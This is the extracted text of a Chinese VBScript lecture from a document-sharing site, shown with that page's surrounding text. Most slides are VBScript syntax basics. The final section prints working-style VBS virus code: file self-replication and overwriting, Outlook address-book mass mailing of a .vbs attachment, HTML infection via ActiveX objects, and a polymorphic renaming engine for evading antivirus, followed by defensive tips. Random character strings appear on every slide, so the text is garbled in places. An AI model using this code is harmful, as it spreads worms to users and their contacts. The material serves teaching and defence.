医学课件第21讲VBSVBS病毒.ppt

上传人:小红帽 文档编号:1237306 上传时间:2018-12-11 格式:PPT 页数:46 大小:213KB
返回 下载 相关 举报
医学课件第21讲VBSVBS病毒.ppt_第1页
第1页 / 共46页
医学课件第21讲VBSVBS病毒.ppt_第2页
第2页 / 共46页
医学课件第21讲VBSVBS病毒.ppt_第3页
第3页 / 共46页
亲,该文档总共46页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述

《医学课件第21讲VBSVBS病毒.ppt》由会员分享,可在线阅读,更多相关《医学课件第21讲VBSVBS病毒.ppt(46页珍藏版)》请在三一文库上搜索。

1、第21讲 VBS&VBS病毒,答疑地点:12J810|12J806 网络答疑:QQ:252175436 答疑时间:周三上午9:30-11:00,幂塌釜拄隅苫座肯留端粘神垒悔忆各浮奔煌膘费蝶炯腾狙闷协冀帮浦新氨第21讲VBSVBS病毒第21讲VBSVBS病毒,内容提纲,什么是 VBScript 在 HTML页中添加 VBScript 代码 VBScript 数据类型 VBScript 变量 VBScript 常量 VBScript 运算符 使用条件语句 编码循环 VBScript 过程 VBScript 编码惯例 VBS病毒,12/11/2018,2,配颤蜘跟衣荷侧毛锗郝鬼厂体凰账嘴命凛哥珊佳磐

2、域估缴森尺凿取悍需逼第21讲VBSVBS病毒第21讲VBSVBS病毒,1.什么是VBScript,VBScript是Visual Basic Script的简称,即 Visual Basic 脚本语言,有时也被缩写为VBS。是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的asp动态网页开发技术。 它具有原语言容易学习的特性。目前这种语言广泛应用于网页和ASP程序制作,同时还可以直接作为一个可执行程序。 补充:ADO (ActiveX Data Objects,ActiveX数据对象)是Microsoft提出的应用程序接口(API)用以实现访问关系或非

3、关系数据库中的数据。例如,如果您希望编写应用程序从DB2或Oracle数据库中向网页提供数据,可以将ADO程序包括在作为活动服务器页(ASP)的HTML文件中。当用户从网站请求网页时,返回的网页也包括了数据中的相应数据,这些是由于使用了ADO代码的结果。,12/11/2018,3,厩诈癸硬饼卞很凤铭聪旭皖便钡闷略卯惩瞻承潘倡瘸漫猩勿捎茄尸庇嗅誊第21讲VBSVBS病毒第21讲VBSVBS病毒,1.什么是VBScript,VBScript主要的优点有: 由于VBScript由网页浏览器解释执行,不需要增大服务器的负担。 易学。 在所有2000 / 98SE以后的Windows版本都可直接使用。

4、可以使用其它程序和可使用的物件(尤其Microsoft Office)。 缺点有: 现在VBS无法作为电子邮件的附件了。Microsoft Outlook拒绝接受VBS为附件,收信人无法直接使用VBS附件。 VBS的各种编辑程器不受欢迎。 操作系统没有任何特别的保护设施。VBS程序与其它JS、EXE、BAT或CMD程序一样对待。操作系统没有监察恶意功能的能力。,12/11/2018,4,男宫配跃屹致诬葛氦昆邵愈谱徐凑损吞谦挚陋攀驻嵌危猿婚贿遵然弃元方第21讲VBSVBS病毒第21讲VBSVBS病毒,2. 在 HTML页中添加 VBScript 代码,VBScript 代码写在成对的 标记之间

5、代码的开始和结束部分都有 标记。LANGUAGE 属性用于指定所使用的脚本语言。由于浏览器能够使用多种脚本语言,所以必须在此指定所使用的脚本语言。注意 CanDeliver 函数被嵌入在注释标记()中。这样能够避免不能识别 标记的浏览器将代码显示在页面中。,12/11/2018,5, 2 End Function ,垣燃暴喻墙拇神究嘘峪击譬免泥涡飞灌低韧纂悸俘店虹愿淡负炳乓欣拼锭第21讲VBSVBS病毒第21讲VBSVBS病毒,2. 在 HTML页中添加 VBScript 代码,SCRIPT 块可以出现在 HTML 页面的任何地方(BODY 或 HEAD 部分之中)。然而最好将所有的一般目标脚

6、本代码放在 HEAD 部分中,以使所有脚本代码集中放置。这样可以确保在 BODY 部分调用代码之前所有脚本代码都被读取并解码。,12/11/2018,6, 订购 2 End Function .,穿助王肆夕洒妥这凌涡喀更森摘兽邯番谣芯阿齐警诗蝴乾皂赁甩引回仲爽第21讲VBSVBS病毒第21讲VBSVBS病毒,3.VBScript 数据类型,VBScript 只有一种数据类型,称为 Variant。Variant 是一种特殊的数据类型,根据使用的方式,它可以包含不同类别的信息。因为 Variant 是 VBScript 中唯一的数据类型,所以它也是 VBScript 中所有函数的返回值的数据类型

7、。 最简单的 Variant 可以包含数字或字符串信息。Variant 用于数字上下文中时作为数字处理,用于字符串上下文中时作为字符串处理。这就是说,如果使用看起来象是数字的数据,则 VBScript 会假定其为数字并以适用于数字的方式处理。与此类似,如果使用的数据只可能是字符串,则 VBScript 将按字符串处理。也可以将数字包含在引号 (“ “) 中使其成为字符串。,12/11/2018,7,涎唾挑耀顽重抬加饮挠退室领凤吧柄炊井窟贯轨测酞卷疏挞朝苛掖饿踏辰第21讲VBSVBS病毒第21讲VBSVBS病毒,3.VBScript 数据类型,Variant 子类型 除简单数字或字符串以外,Va

8、riant 可以进一步区分数值信息的特定含义。 例如使用数值信息表示日期或时间。此类数据在与其他日期或时间数据一起使用时,结果也总是表示为日期或时间。 从 Boolean 值到浮点数,数值信息是多种多样的。 Variant 包含的数值信息类型称为子类型。大多数情况下,可将所需的数据放进 Variant 中,而 Variant 也会按照最适用于其包含的数据的方式进行操作。,12/11/2018,8,獭猛瘫洞田机钧芽撩豆蹋寅选槐美执涕邹润聪切桓疑尊攫侣语轻涤赦誉膛第21讲VBSVBS病毒第21讲VBSVBS病毒,3.VBScript 数据类型,下表显示 Variant 包含的数据子类型:,12/1

9、1/2018,9,药官赚讨哼蚀哇橙逼陷役襟芳屁浩融霄块纺苑吊炒赌中链饰法姆温泪栖捡第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,变量是一种使用方便的占位符,用于引用计算机内存地址,该地址可以存储脚本运行时可更改的程序信息。 例如,可以创建一个名为 ClickCount 的变量来存储用户单击 Web 页面上某个对象的次数。 使用变量并不需要了解变量在计算机内存中的地址,只要通过变量名引用变量就可以查看或更改变量的值。 在 VBScript 中只有一个基本数据类型,即 Variant,因此所有变量的数据类型都是 Variant。,12/11/2018,10,拨令箍

10、罐谜柠努天溅嗓同楞刊帮侄市嵌东汁含注败圃誊售叫坠戴射哩计坦第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,声明变量 声明变量的一种方式是使用 Dim 语句、Public 语句和 Private 语句在脚本中显式声明变量。例如: Dim DegreesFahrenheit 声明多个变量时,使用逗号分隔变量。例如: Dim Top, Bottom, Left, Right 隐式声明变量 另一种方式是通过直接在脚本中使用变量名这一简单方式隐式声明变量。这通常不是一个好习惯,因为这样有时会由于变量名被拼错而导致在运行脚本时出现意外的结果。,12/11/2018,11,印

11、考重掖闲蹭搓碉聊防影慕炊露瞬胸肩椭肚师萎涛钙旭琴慎该垮猫峰篡馁第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,命名规则 变量命名必须遵循 VBScript 的标准命名规则。变量命名必须遵循: 第一个字符必须是字母。 不能包含嵌入的句点。 长度不能超过 255 个字符。 在被声明的作用域内必须唯一。,送滥闭胜态奇立炽鳞嫂契均荆畅根债痊戌浊校肇釜陷煌姿幌浊标程阿米需第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,变量的作用域与存活期 变量的作用域由声明它的位置决定。 如果在过程中声明变量,则只有该过程中的代码可以访问或更改变量值,此时

12、变量具有局部作用域并被称为过程级变量。 如果在过程之外声明变量,则该变量可以被脚本中所有过程所识别,称为 Script 级变量,具有脚本级作用域。 变量存在的时间称为存活期。Script 级变量的存活期从被声明的一刻起,直到脚本运行结束。 对于过程级变量,其存活期仅是该过程运行的时间,该过程结束后,变量随之消失。 在执行过程时,局部变量是理想的临时存储空间。可以在不同过程中使用同名的局部变量,这是因为每个局部变量只被声明它的过程识别。,飞淳咐烃汹尔撕典唾虫墒恫尝室漓帕纤悦劈恨谓四户愁技惑猫村壶勾瞬渠第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,给变量赋值 创建

13、如下形式的表达式给变量赋值:变量在表达式左边,要赋的值在表达式右边。例如:,Dim Myname,Myage,Myschool Myname=“王小二” Myage=18 Myschool=“广东教育学院”,察贩娟烽绞至完寓燥腑胚意讲促挺重蹄纪域掠承钮撮姿按获质屡瘴影素奔第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,数组变量 多数情况下,只需为声明的变量赋一个值。只包含一个值的变量被称为标量变量。 有时候,将多个相关值赋给一个变量更为方便,因此可以创建包含一系列值的变量,称为数组变量。数组变量和标量变量是以相同的方式声明的,唯一的区别是声明数组变量时变量名后面

14、带有括号 ( )。下例声明了一个包含 11 个元素的一维数组: Dim A(10) 虽然括号中显示的数字是 10,但由于在 VBScript 中所有数组都是基于 0 的,所以这个数组实际上包含 11 个元素。 在基于 0 的数组中,数组元素的数目总是括号中显示的数目加 1。这种数组被称为固定大小的数组。,门嗓律郸距保淀侵粉且为然锅牌纸倚酶其碟柏扯眉朗含涌芝跋拿瘟性渝肠第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,在数组中使用索引为数组的每个元素赋值。从 0 到 10,将数据赋给数组的元素,如下所示: A(0) = 256 A(1) = 324 A(2) = 1

15、00 . . . A(10) = 55 与此类似,使用索引可以检索到所需的数组元素的数据。例如: . . . SomeVariable = A(8) . . .,幸鹏跪粮叁猎瓤译是妮巾凝统蛛堤寺凳敏阅樱愉痢颤问芒椅杆獭罢顶暂串第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,动态数组 也可以声明动态数组,即在运行脚本时大小发生变化的数组。对数组的最初声明使用 Dim 语句或 ReDim 语句。但是对于动态数组,括号中不包含任何数字。例如: Dim MyArray() ReDim AnotherArray() 要使用动态数组,必须随后使用 ReDim 确定维数和每一

16、维的大小。,哗辣妖蛹盼哇啃甄裂棘堑滇掏伊革锤然帖曝窍底宙酞裳汕绕烬屁珍旅从翅第21讲VBSVBS病毒第21讲VBSVBS病毒,4. VBScript 变量,在下例中,ReDim 将动态数组的初始大小设置为 25,而后面的 ReDim 语句将数组的大小重新调整为 30,同时使用 Preserve 关键字在重新调整大小时保留数组的内容。 ReDim MyArray(25) . . . ReDim Preserve MyArray(30) 重新调整动态数组大小的次数是没有任何限制的,将数组的大小调小时,将会丢失被删除元素的数据。,鞠癌宵佛皂注呵鬃蚜添广咱蛙榜刀控霉敬秤剔歌醚籽杏惋拈泻逻婆景挚提第21

17、讲VBSVBS病毒第21讲VBSVBS病毒,5. VBScript 常数,常数是具有一定含义的名称,用于代替数字或字符串,其值从不改变。 VBScript 定义了许多内部常数(由应用程序提供的常数。由于不能禁用内部常数,因此不能以相同的名称创建用户自定义常数。如Dim就不能定义为常数)。,疗宁标沤搔翘骨炔形唇腾味锈赦氛条搽迟表铭即佃塔涟伪就盖钻燃妨碉掸第21讲VBSVBS病毒第21讲VBSVBS病毒,5. VBScript 常数,创建常数 您可以使用 Const 语句在 VBScript 中创建用户自定义常数。使用 Const 语句可以创建名称具有一定含义的字符串型或数值型常数,并给它们赋原义

18、值。例如: Const MyString = “这是一个字符串。“ Const MyAge = 49 请注意字符串文字包含在两个引号 (“ ”) 之间。这是区分字符串型常数和数值型常数的最明显的方法。 日期文字和时间文字包含在两个井号 (#) 之间。例如: Const CutoffDate = #6-1-97#,踞朗舰二庄淄垄澎禾浴付溯懈租犬形敞傀渠谚奥盲牢沮团赤袁椰拌权比攫第21讲VBSVBS病毒第21讲VBSVBS病毒,6.VBScript 运算符,VBScript 有一套完整的运算符,包括算术运算符、比较运算符、连接运算符和逻辑运算符。 运算符优先级 当表达式包含多个运算符时,将按预定顺

19、序计算每一部分,这个顺序被称为运算符优先级。可以使用括号越过这种优先级顺序,强制首先计算表达式的某些部分。运算时,总是先执行括号中的运算符,然后再执行括号外的运算符。但是,在括号中仍遵循标准运算符优先级。 当表达式包含多种运算符时,首先计算算术运算符,然后计算比较运算符,最后计算逻辑运算符。所有比较运算符的优先级相同,即按照从左到右的顺序计算比较运算符。,拘琅仍负砂嘴屋箍幽椎箔汽负钻捐拓踪索颤妆俄茬础韭偶忿拉隙帐读婆域第21讲VBSVBS病毒第21讲VBSVBS病毒,6.VBScript 运算符,当乘号与除号同时出现在一个表达式中时,按从左到右的顺序计算乘、除运算符。同样当加与减同时出现在一个

20、表达式中时,按从左到右的顺序计算加、减运算符。,疗椰志忽快哺愁训榆花僻恶阉踪修申圆间蹈慷被悔秤丢曲柳搭幻埂貉价冲第21讲VBSVBS病毒第21讲VBSVBS病毒,6.VBScript 运算符,字符串连接 (&) 运算符不是算术运算符,但是在优先级顺序中,它排在所有算术运算符之后和所有比较运算符之前。 Is 运算符是对象引用比较运算符。它并不比较对象或对象的值,而只是进行检查,判断两个对象引用是否引用同一个对象。,坊紧默草害奔险辖霍瘪糕施御卯最郧吩岭腹峭屿胜稀沁果干欠奈确自慎誓第21讲VBSVBS病毒第21讲VBSVBS病毒,6.VBScript 运算符,连接运算符 (&) 强制两个表达式进行字

21、符串连接。 result = expression1 & expression2 参数 Result:任意变量。 expression1:任意表达式。 Expression2:任意表达式。 说明 任一 expression 不是字符串时,它将被转换为 String 子类型。如果两个表达式都为 Null,result 也为 Null。然而,如果仅有一个 expression 为 Null,则它和其他表达式连接时,按零长度字符串(“) 处理。任何表达式为 Empty 时也按零长度字符串处理。,盾捶谍搐颊着避减绢寓释轩柄符骸邀导盈恿鸥也担邯曼摘疙拜歪邪副挟谓第21讲VBSVBS病毒第21讲VBSVB

22、S病毒,6.VBScript 运算符,Is 运算符 比较两个对象引用变量。 result = object1 Is object2 参数 result:任意数值变量。 object1:任意对象名。 object2:任意对象名。 说明 如果 object1 和 object2 都引用同一个对象,则 result 为 True;否则 result 为 False。可以使用许多方法使两个变量引用同一个对象。,挞烘伟阿贿锻诫锁贸卑希障瞥藉德龄李几唁归炒帕霉舰煤速促赔碴墩谢吟第21讲VBSVBS病毒第21讲VBSVBS病毒,7.使用条件语句,条件语句 If.Then.Else 语句 Select Cas

23、e 语句,干惭檬酬止仓馁敖芽跪孙软悔伐培枕劫郸凤钮孵绅批吠向滔炳古懈阁亥菇第21讲VBSVBS病毒第21讲VBSVBS病毒,7.使用条件语句,使用 If.Then.Else 进行判断 If.Then.Else 语句用于计算条件是否为 True 或 False,并且根据计算结果指定要运行的语句。通常,条件是使用比较运算符对值或变量进行比较的表达式。 条件为 True 时运行语句,If value = 0 Then AlertLabel.ForeColor = vbRed AlertLabel.Font.Bold = True AlertLabel.Font.Italic = True End I

24、f,几辊满础铣岁搁涣楞横炙狭炬国绒檄士呕碳邦毋损继伐烛略卧今卖佩贪刊第21讲VBSVBS病毒第21讲VBSVBS病毒,7.使用条件语句,条件为 True 和 False 时分别运行某些语句 可以使用 If.Then.Else 语句定义两个可执行语句块:条件为 True 时运行某一语句块,条件为 False 时运行另一语句块。,If value = 0 Then AlertLabel.ForeColor = vbRed AlertLabel.Font.Bold = True AlertLabel.Font.Italic = True Else AlertLabel.Forecolor = vbB

25、lack AlertLabel.Font.Bold = False AlertLabel.Font.Italic = False End If,乐大哈全淌崭硒滨撇昼贩粳总酗魏簇加伶窘旋郝芽醛秤演兑奋直庚幼逢旧第21讲VBSVBS病毒第21讲VBSVBS病毒,7.使用条件语句,对多个条件进行判断 If.Then.Else 语句的一种变形允许您从多个条件中选择,即添加 ElseIf 子句以扩充 If.Then.Else 语句的功能,使您可以控制基于多种可能的程序流程,If value = 0 Then MsgBox value ElseIf value = 1 Then MsgBox value

26、ElseIf value = 2 then Msgbox value Else Msgbox “数值超出范围!“ End If,搅斩媒殴傀妙浚聂坪转簇泪枪琶蓝咸着昂厄痹傣冻淡媳隆蚌细芥崭煞媳耶第21讲VBSVBS病毒第21讲VBSVBS病毒,7.使用条件语句,使用 Select Case 进行判断 Select Case 结构提供了 If.Then.ElseIf 结构的一个变通形式,可以从多个语句块中选择执行其中的一个。Select Case 语句提供的功能与 If.Then.Else 语句类似,但是可以使代码更加简练易读。 使用多个 ElseIf 子句经常会变得很累赘。在多个条件中进行选择的

27、更好方法是使用 Select Case 语句。 Select Case 结构在其开始处使用一个只计算一次的简单测试表达式。表达式的结果将与结构中每个 Case 的值比较。如果匹配,则执行与该 Case 关联的语句块,罚妖狈外故俺链攀昧悠隔淑彻锦胳硒病转检抖壕寺弓诲檀紊凰跃鲸澡燥律第21讲VBSVBS病毒第21讲VBSVBS病毒,7.使用条件语句,Select Case Document.Form1.CardType.Options(SelectedIndex).Text Case “MasterCard“ DisplayMCLogo ValidateMCAccount Case “Visa“

28、DisplayVisaLogo ValidateVisaAccount Case “American Express“ DisplayAMEXCOLogo ValidateAMEXCOAccount Case Else DisplayUnknownImage PromptAgain End Select,栓瞪甘掂愤钓附涅仲发崩韶翅投优际迅睡最暮畅观舰处汽辖商苛猎揭条响第21讲VBSVBS病毒第21讲VBSVBS病毒,7.使用条件语句,注意 请注意 Select Case 结构只计算开始处的一个表达式(只计算一次),而 If.Then.ElseIf 结构计算每个 ElseIf 语句的表达式,这些

29、表达式可以各不相同。 仅当每个 ElseIf 语句计算的表达式都相同时,才可以使用 Select Case 结构代替 If.Then.ElseIf 结构。,结产陕知厨怔常害轻束恰吓依淌凝票际狠织恋扳搞攀喝换症柜咐余臣裳谦第21讲VBSVBS病毒第21讲VBSVBS病毒,8.使用循环语句,循环用于重复执行一组语句。循环可分为三类: 一类在条件变为 False 之前重复执行语句, 一类在条件变为 True 之前重复执行语句, 另一类按照指定的次数重复执行语句。 在 VBScript 中可使用下列循环语句: Do.Loop: 当(或直到)条件为 True 时循环。 While.Wend: 当条件为

30、True 时循环。 For.Next: 指定循环次数,使用计数器重复运行语句。 For Each.Next:对于集合中的每项或数组中的每个元素,重复执行一组语句。,剧赊污瓷菏增熄仪辰抖痹账锅位伯窍椽娟腺蔬芬雾占澎朽缚韭稠谐理翌精第21讲VBSVBS病毒第21讲VBSVBS病毒,8.使用循环语句,使用 Do 循环 可以使用 Do.Loop 语句多次(次数不定)运行语句块。当条件为 True 时或条件变为 True 之前,重复执行语句块。,讶厢通韧上毙犀涅窥履展佃坝仲佛厦掇盅灭茬插蓑贾扁送厉峻纷护食储浑第21讲VBSVBS病毒第21讲VBSVBS病毒,当条件为 True 时重复执行语句 While

31、 关键字用于检查 Do.Loop 语句中的条件。有两种方式检查条件: 在进入循环之前检查条件(如下面的 ChkFirstWhile 示例); 或者在循环至少运行完一次之后检查条件(如下面的 ChkLastWhile 示例)。 在 ChkFirstWhile 过程中,如果 myNum 的初始值被设置为 9 而不是 20,则永远不会执行循环体中的语句。在 ChkLastWhile 过程中,循环体中的语句只会执行一次,因为条件在检查时已经为 False。,酸经二猎鱼即呛滤墓凿馏桩媚固夫丧留钝铬赔斌边他阿堑笋凑绢顺赎锡尽第21讲VBSVBS病毒第21讲VBSVBS病毒,Sub ChkFirstWhil

32、e() Dim counter, myNum counter = 0 myNum = 20 Do While myNum 10 myNum = myNum - 1 counter = counter + 1 Loop MsgBox “循环重复了 “ & counter & “ 次。“ End Sub,Sub ChkLastWhile() Dim counter, myNum counter = 0 myNum = 9 Do myNum = myNum - 1 counter = counter + 1 Loop While myNum 10 MsgBox “循环重复了 “ & counter

33、& “ 次。“ End Sub,补吾筹冠檀嗽牙滦康尹烽阵怕闸归榨膜侨肪早专吊翼桌彤坑磁呀紧舵缘均第21讲VBSVBS病毒第21讲VBSVBS病毒,11.VBS病毒,VBS病毒的特点 VBS病毒常常用到的技术 对文件操作 如何发送电子邮件 对html等文件的感染 自加密 如何防范,12/11/2018,37,狠彪违姬滑砖龋颁咀哗厩宅富尘当溢檀啥铣揉芽过梨私邮靠栈邱迢翘筑袁第21讲VBSVBS病毒第21讲VBSVBS病毒,VBS病毒的特点,(1) 编写简单。由于它是明文的,一个对病毒毫无概念的人,都可以在非常短的时间内编写出一个vbs 病毒 (2) 破坏力大。利用vbs几乎可以做任何操作系统可以做

34、到事情。所以vbs病毒拥有非常大的能力。 (3) 感染力强。脚本是解释执行的。所以不必像感染PE文件一样有非常苛刻的要求。 (4)传播范围广。因为VBS广泛应用于HTML等文件格式,通过感染html可以导致大量用户被感染。 (5) 病毒源码容易被获取,变种多。Vbs是明文的,非常容易读懂,这也就表明病毒编写者可以很方便 地修改源代码,达到编写,加密的目的。,12/11/2018,38,悍咳筷瞻众氦耳掏入零幸猩呻膨拳田垃贪竟元么究庇绥帆冶拼肩砾腺龚骑第21讲VBSVBS病毒第21讲VBSVBS病毒,对文件操作,VBS脚本病毒一般是直接通过自我复制来感染文件的,也可以把自己添加到其他文件(如htm

35、l)里面执行。以下是文件感染的部分关键代码:,12/11/2018,39,Set fso=createobject(“scripting.filesystemobject”) 创建一个文件系统对象 set self=fso.opentextfile(wscript.scriptfullname,1) 读打开当前文件(即病毒本身) vbscopy=self.readall 读取病毒全部代码到字符串变量vbscopy set ap=fso.opentextfile(目标文件.path,2,true) 写打开目标文件,准备写入病毒代码 ap.write vbscopy 将病毒代码覆盖目标文件 ap.

36、close set cop=fso.getfile(目标文件.path) 得到目标文件路径 cop.copy(目标文件.path & “.vbs“) 创建另外一个病毒文件(以.vbs为后缀) 目标文件.delete(true) 删除目标文件,忧丧拐戳涌肛段扩搓诵挥撼悬颓戮胰恃邻暂能孜桓板气陪锰骏坡瞪购锈又第21讲VBSVBS病毒第21讲VBSVBS病毒,如何发送邮件,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址:,12/11/2018,40,Function mailBroadcast() on error resume next wscri

37、pt.echo Set outlookApp = CreateObject(“Outlook.Application“) /创建一个OUTLOOK应用的对象 If outlookApp= “Outlook“ Then Set mapiObj=outlookApp.GetNameSpace(“MAPI“) /获取MAPI的名字空间 Set addrList= mapiObj.AddressLists,/获取地址表的个数 For Each addr In addrList If addr.AddressEntries.Count 0 Then addrEntCount = addr.Address

38、Entries.Count /获取每个地址表的Email记录数 For addrEntIndex= 1 To addrEntCount If addr.AddressEntries.Count 0 Then addrEntCount = addr.AddressEntries.Count /获取每个地址表的Email记录数 For addrEntIndex= 1 To addrEntCount /遍历地址表的Email地址 Set item = outlookApp.CreateItem(0),码者搽诽互蔫梗法宽隅信百支挛糠屑慑系霄溢牛妨澎船拱隐鞋通卫听尖菠第21讲VBSVBS病毒第21讲VB

39、SVBS病毒,如何发送电子邮件,12/11/2018,41,/获取一个邮件对象实例 Set addrEnt = addr.AddressEntries(addrEntIndex) /获取具体Email地址 item.To = addrEnt.Address /填入收信人地址 item.Subject = “病毒传播实验“ /写入邮件标题 item.Body = “这里是病毒邮件传播测试,收到此信请不要慌张! “ /写入文件内容 Set attachMents=item.Attachments /定义邮件附件 attachMents.Add fileSysObj.GetSpecialFolder

40、(0)&“test.jpg.vbs“ item.DeleteAfterSubmit = True,/信件提交后自动删除 If item.To “ Then item.Send /发送邮件 shellObj.regwrite “HKCUsoftwareMailtestmailed“, “1“ /病毒标记,以免重复感染 End If NextEnd IfNext End if End Function,苟笛过晃窄鸽膏伯至苟绢滦邹潦隔里之唇粟庸遗测赠营褐饼吗是污旁篷沪第21讲VBSVBS病毒第21讲VBSVBS病毒,对html等文件的感染,如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,

41、势必会导致所有访问过该网页的用户 机器感染病毒。在注册表HKEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键,注册表中对它他的说 明是“Windows Script Host Shell Object”,同样,我们也可以找到,注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个 对象,调用它们的强大功能。代码如下所 示: Set Apple0bject = document.applets(“KJ_guest”)Apple0bject.setCLSID(“”)Apple0bject

42、.createInstance() 创建一个实例 Set WsShell Apple0bject.Get0bject() Apple0bject.setCLSID(“”) Apple0bject.createInstance() 创建一个实例 Set FSO = Apple0bject.Get0bject(),12/11/2018,42,膛靴畦铝慢君伍趣辛遁咽揩免纽晨獭逮孜搭判斥耐冕升拔筒溯负版邱盖寒第21讲VBSVBS病毒第21讲VBSVBS病毒,自加密,一个简单的vbs脚本变形引擎(来自flyshadow) Randomize Set Of = CreateObject(“Scriptin

43、g.FileSystemObject“) 创建文件系统对象 vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall 读取自身代码 fS=Array(“Of“, “vC“, “fS“, “fSC“) 定义一个即将被替换字符的数组 For fSC = 0 To 3 vC = Replace(vC, fS(fSC), Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65),12/11/2018,43,& Chr(Int(Rnd * 22) + 65)

44、 取4个随机字符替换数组fS中的字符串 Next Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC 将替换后的代码写回文件 上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代 替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。,毫娱烯正羞暖增汝舱必怯妓箱妹横会聊腑畜各歧浚触姜措修距其鄙拽亲同第21讲VBSVBS病毒第21讲VBSVBS病毒,如何防范,1)禁用文件系统对象FileSystemObject 方法:用regsvr32 scrrun.dll /u这条命令就可以禁止

45、文件系统对象。其中regsvr32是WindowsSystem下的 可执行文件。或者直接查找scrrun.dll文件删除或 者改名。 还有一种方法就是在注册表中HKEY_CLASSES_ROOTCLSID下找到一个0D43FE01-F093-11CF 8940-00A0C9054228主键的项,删除即可。 2)卸载Windows Scripting Host 在Windows 98中(NT 4.0以上同理),打开控制面板添加/删除程序Windows安装程 序附件,取消“Windows Scripting Host”一项。 和上面的方法一样,在注册表中HKEY_CLASSES_ROOTCLSID

46、下找到一个F935DC22-1CF0-11D0 ADB9-00C04FD58A0B主键的项,删除。 3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射 点击我的电脑查看文件夹选项文件类型,然后删除VBS、VBE、JS、 JSE文 件后缀名与应用程序的映射,12/11/2018,44,抉驮宋装粳别都炬酒固榆艰形茨原近肮矢茧儡熊几摄奇卜顺交瑰劈痛抠旱第21讲VBSVBS病毒第21讲VBSVBS病毒,如何防范,4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果以后有机会用到的话,最好更改名 称好了,当然以后也可以重新装上。 5)要彻底防治VBS网络蠕虫病毒,还

47、需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏 里“Internet 选项”安全选项卡里的自定义级别按钮。把“ActiveX控件及插件”的一切设为禁用,这样就 不怕了。如新欢乐时光的那个ActiveX组件 如果不能运行,病毒的网络传播功能就无法生效了 6)禁止OE的自动收发邮件功能 7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展 名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。 8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的 Java程序 或者某些ActiveX组件对计算机的侵害。,12/11/2018,45,惜仰色雷鬃晒建但彰歼镰慑傍搪渤沟鲸抡逸贷鞋镐牲刻掩虎毁限莲鱼咖碾第21讲VBSVBS病毒第21讲VBSVBS病毒,小结,?,12/11/2018,46,旧庸戎够豪揖憎偿鸥乃苑澡混佃闻奇热境钞押峻旺屯托梆樊痞椰漠朱廖捏第21讲VBSVBS病毒第21讲VBSVBS病毒,

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 其他


经营许可证编号:宁ICP备18001539号-1